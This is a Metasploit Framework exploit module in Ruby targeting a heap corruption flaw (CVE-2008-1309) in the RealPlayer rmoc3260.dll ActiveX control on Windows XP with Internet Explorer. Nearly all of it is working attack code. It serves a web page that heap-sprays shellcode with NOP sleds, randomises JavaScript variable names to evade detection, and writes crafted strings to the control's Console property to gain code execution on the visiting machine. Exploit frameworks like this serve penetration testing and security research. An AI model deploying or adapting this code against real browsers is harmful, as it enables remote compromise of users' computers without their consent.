root/framework3/trunk/modules/exploits/windows/browser/realplayer_console.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

module Msf

class Exploits::Windows::Browser::RealPlayer_Console < Msf::Exploit::Remote

        include Exploit::Remote::HttpServer::HTML

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'RealPlayer rmoc3260.dll ActiveX Control Heap Corruption',
                        'Description'    => %q{
                                        This module exploits a heap corruption vulnerability in the RealPlayer ActiveX control. 
                                        By sending a specially crafted string to the 'Console' property 
                                        in the rmoc3260.dll control, an attacker may be able to execute 
                                        arbitrary code.
                        },
                        'License'        => MSF_LICENSE,
                        'Author'         => [ 'Elazar Broad <elazarb[at]earthlink.net>' ], 
                        'Version'        => '$Revision$',
                        'References'     => 
                                [
                                        [ 'CVE', 'CVE-2008-1309' ],
                                        [ 'BID', '28157' ],
                                        [ 'URL', 'http://secunia.com/advisories/29315/' ],
                                ],
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'process',
                                },
                        'Payload'        =>
                                {
                                        'Space'         => 1024,
                                        'BadChars'      => "\x00\x09\x0a\x0d'\\",       
                                        'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",  
                                },
                        'Platform'       => 'win',
                        'Targets'        =>
                                [
                                        [ 'Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 32, 'Ret' => 0x0C0C0C0C } ]       
                                ],
                        'DisclosureDate' => 'March 8 2008',
                        'DefaultTarget'  => 0))
        end

        def autofilter
                false
        end

        def check_dependencies
                use_zlib
        end

        def on_request_uri(cli, request)
                # Re-generate the payload
                return if ((p = regenerate_payload(cli)) == nil)

                # Encode the shellcode
                shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

                # Setup exploit buffers
                nops      = Rex::Text.to_unescape([target.ret].pack('V'))
                ret       = Rex::Text.uri_encode([target.ret].pack('L'))
                blocksize = 0x40000
                fillto    = 400 
                offset    = target['Offset']
        
                # Randomize the javascript variable names
                racontrol    = rand_text_alpha(rand(100) + 1)
                j_shellcode  = rand_text_alpha(rand(100) + 1)
                j_nops       = rand_text_alpha(rand(100) + 1)
                j_headersize = rand_text_alpha(rand(100) + 1)
                j_slackspace = rand_text_alpha(rand(100) + 1)
                j_fillblock  = rand_text_alpha(rand(100) + 1)
                j_block      = rand_text_alpha(rand(100) + 1)
                j_memory     = rand_text_alpha(rand(100) + 1)
                j_counter    = rand_text_alpha(rand(30) + 2)
                j_ret        = rand_text_alpha(rand(100) + 1)
                j_m          = rand_text_alpha(rand(100) + 1)   

                # Build out the message
                content = %Q|
                        <html>
                                <object classid='clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93' id='#{racontrol}'></object>
                                 <script language='javascript'>
                                        #{j_shellcode} = unescape('#{shellcode}');
                                        #{j_nops} = unescape('#{nops}');
                                        #{j_headersize} = 20;
                                        #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length
                                        while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
                                        #{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
                                        #{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
                                        while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
                                        #{j_memory} = new Array();
                                        for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
                                        #{j_ret} = unescape('#{ret}');
                                        while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret};
                                        
                                        #{j_m} = #{racontrol}.Console;
                                        #{racontrol}.Console = #{j_ret};
                                        #{racontrol}.Console = #{j_m};

                                        #{j_m} = #{racontrol}.Console;
                                        #{racontrol}.Console = #{j_ret};
                                        #{racontrol}.Console = #{j_m};
                                 </script>
                         </html>
                        |

                
        
                print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

                # Transmit the response to the client
                send_response_html(cli, content)
                
                # Handle the payload
                handler(cli)
        end

end
end